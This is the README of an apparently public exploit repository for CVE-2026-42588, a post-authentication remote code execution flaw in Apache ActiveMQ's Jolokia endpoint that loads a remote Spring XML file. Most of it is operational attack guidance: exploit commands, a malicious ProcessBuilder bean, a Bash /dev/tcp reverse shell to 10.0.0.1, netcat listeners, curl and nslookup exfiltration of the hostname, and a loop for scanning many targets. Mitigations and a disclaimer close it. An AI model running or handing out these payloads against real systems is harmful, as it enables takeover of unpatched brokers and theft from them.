hnytgl/cve-2026-42588Python-based RCE exploit for CVE-2026-42588 targeting Apache ActiveMQ Jolokia. Features check-only mode, malicious XML generation, and support for reverse shell, OOB, and file-based verification.
Severity: 🔴 High (CVSS 4.0: 8.1)
Vulnerability Type: CWE-94 — Code Injection
Affected Versions: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
Prerequisites: Requires Web Console authentication credentials (defaultadmin:admin)
CVE-2026-42588 is a post-authentication Remote Code Execution (RCE) vulnerability in Apache ActiveMQ.
An attacker with valid Web Console credentials can invoke the BrokerService.addNetworkConnector(String) method via the Jolokia JMX-HTTP bridge (/api/jolokia/), passing a crafted masterslave:// discovery URI. By leveraging the xbean: protocol to load a remote Spring XML configuration file, arbitrary system commands can be executed in the ActiveMQ Broker's JVM.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring pre-instantiates all singleton Beans → Triggers Runtime.exec() / ProcessBuilder
│
▼
🚨 Remote Code Execution (RCE)
| Component | Description |
|---|---|
| Jolokia exposure | ActiveMQ Web Console exposes /api/jolokia/ by default, allowing exec operations on org.apache.activemq:* MBeans |
| Dangerous method | BrokerService.addNetworkConnector(String) accepts and parses a discovery URI |
| URI trigger chain | The brokerConfig parameter of the masterslave:// protocol is controllable, combined with the xbean: scheme to trigger Spring context loading |
| RCE trigger point | XBeanBrokerFactory uses ResourceXmlApplicationContext to load remote XML; Spring instantiates all singleton Beans before configuration is validated |
| Version Range | Status |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ Vulnerable |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ Vulnerable |
| Apache ActiveMQ ≥ 5.19.7 | ✅ Fixed |
| Apache ActiveMQ ≥ 6.2.6 | ✅ Fixed |
/api/jolokia/ endpoint must be accessible to the attacker (default port 8161)admin:admin).
├── CVE-2026-42588_EXP.py # Exploit script (core)
├── malicious.xml # Malicious Spring XML template
├── requirements.txt # Python dependencies
└── README.md # This file
| File | Purpose |
|---|---|
CVE-2026-42588_EXP.py | Python exploit script; supports detection mode (--check-only) and XML generation mode (--gen-xml) |
malicious.xml | Malicious Spring XML configuration template; contains both Runtime.exec() and ProcessBuilder exploitation methods |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
Start an HTTP server on the attacker machine:
python3 -m http.server 8080
# Use default credentials admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# Use custom credentials
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
Options:
-u, --url Target ActiveMQ URL (e.g., http://192.168.1.100:8161)
-U, --username Web Console username (default: admin)
-P, --password Web Console password (default: admin)
-x, --xml-url Remote URL of the malicious Spring XML file
--check-only Only check if the Jolokia endpoint is accessible
--gen-xml Generate a malicious XML file and output to stdout
-c, --command Command to execute on the target (default: touch /tmp/activemq_pwned)
--timeout HTTP request timeout in seconds (default: 30)
--no-verify Disable SSL certificate verification
1. Generate malicious XML on the attacker machine:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. Host XML and start listener:
# Terminal 1: HTTP server
python3 -m http.server 8080
# Terminal 2: nc listener
nc -lvnp 4444
3. Trigger the vulnerability:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. Generate malicious XML for Windows:
Modify the ProcessBuilder command in malicious.xml to:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. Host and execute:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# Batch detection
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done
┌─────────────────────────────────────────────────────────────────────┐
│ CVE-2026-42588 攻击链 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ① 攻击者 ⑤ ActiveMQ Broker (JVM) │
│ ┌──────────┐ ┌──────────────────────────┐ │
│ │ EXP脚本 │──── ② HTTP POST ───────▶│ /api/jolokia/ │ │
│ │ │ Jolokia exec() │ │ │
│ │ │ Basic Auth │ BrokerService. │ │
│ │ │ │ addNetworkConnector( │ │
│ │ │ │ "masterslave://? │ │
│ │ │ │ brokerConfig= │ │
│ │ │ │ xbean:http://... │ │
│ │ │ │ /malicious.xml" │ │
│ └──────────┘ │ ) │ │
│ │ └────────┬─────────────────┘ │
│ │ │ │
│ │ ③ HTTP GET ▼ │
│ │ ┌──────────────────────┐ ┌────────────────────────────┐ │
│ └─▶│ 攻击者 HTTP 服务器 │ │ ResourceXmlApplication │ │
│ │ (python http.server) │ │ Context 加载远程 XML │ │
│ │ │ │ │ │
│ │ malicious.xml │ │ Spring 预实例化 Bean ──▶ │ │
│ └──────────────────────┘ │ Runtime.exec() / │ │
│ │ ProcessBuilder.start() │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 🚨 RCE 成功 🚨 │ │
│ └────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Since command execution occurs during Spring XML parsing, it is asynchronous and the HTTP response may not directly reflect the execution result. It is recommended to verify using the following methods:
# Attacker machine
nc -lvnp 4444
# Use nslookup or curl to exfiltrate data in the command
nslookup $(hostname).your-dns-server.com
# Check for marker file on the target
ls -la /tmp/activemq_pwned
# Use curl in the malicious XML
curl http://your-server:8888/$(hostname)
# Meanwhile, listen on the attacker machine
nc -lvnp 8888
| Version Line | Upgrade to |
|---|---|
| 5.x series | 5.19.7 or later |
| 6.x series | 6.2.6 or later |
Download: https://activemq.apache.org/download
Patch Announcement: https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm
If upgrading is not immediately possible, the following measures can reduce risk:
In conf/jetty.xml, restrict /api/jolokia/ to local access only, or use a firewall/reverse proxy to implement an IP whitelist.
Edit conf/jolokia-access.xml to deny exec operations on org.apache.activemq:* MBeans:
<restrict>
<mbean>
<name>org.apache.activemq:*</name>
<operation>!exec</operation>
</mbean>
</restrict>
Edit conf/jetty-realm.properties and change the default admin: admin, admin to a strong password.
In conf/jetty.xml, comment out the Context configuration related to the Web Console.
A: Yes, valid ActiveMQ Web Console credentials are required. However, the default credentials are admin/admin, and many real-world systems have not changed the default password, so the risk remains high.
A: This is normal. Command execution is asynchronous and happens during Spring XML parsing. It is recommended to verify using reverse shell, DNS out-of-band, etc. See Verifying Successful Exploitation.
A: Yes. You need to change the command in malicious.xml from /bin/sh -c to cmd.exe /c and adjust the command syntax to Windows style.
A: Detection mode only confirms whether the Jolokia endpoint is accessible (a necessary condition for exploitation). Endpoint accessibility does not guarantee exploitability, but it indicates the possibility.
A: No. After upgrading to 5.19.7+ or 6.2.6+, the parsing logic for the brokerConfig parameter has been fixed, and it no longer accepts the xbean: scheme.
⚠️ This tool is for security research and authorized testing only!
- Using this tool to access systems without authorization is illegal
- Users must bear all consequences and responsibilities arising from the use of this tool
- The author is not responsible for any unauthorized use, misuse, or damages caused
- Use this tool only on your own systems or on systems with written authorization
- Comply with local laws, regulations, and professional ethics
| Source | Link |
|---|---|
| Vulnerability Database (CVE Detail) | https://www.cybersecurity-help.cz/vdb/vulns/133395/ |
| Antiy Vulnerability Bulletin | https://bbs.antiy.cn/thread-210844-1-1.html |
| DDPOC Vulnerability Details | https://ddpoc.com/DVB-2026-11290.html |
| Apache ActiveMQ Official | https://activemq.apache.org/ |
| Apache Security Bulletin | https://lists.apache.org/thread/ns0zktfo16s9ql2mmtqtlb6p6xcs45xm |
CVE-2026-42588 — For Educational & Authorized Testing Purposes Only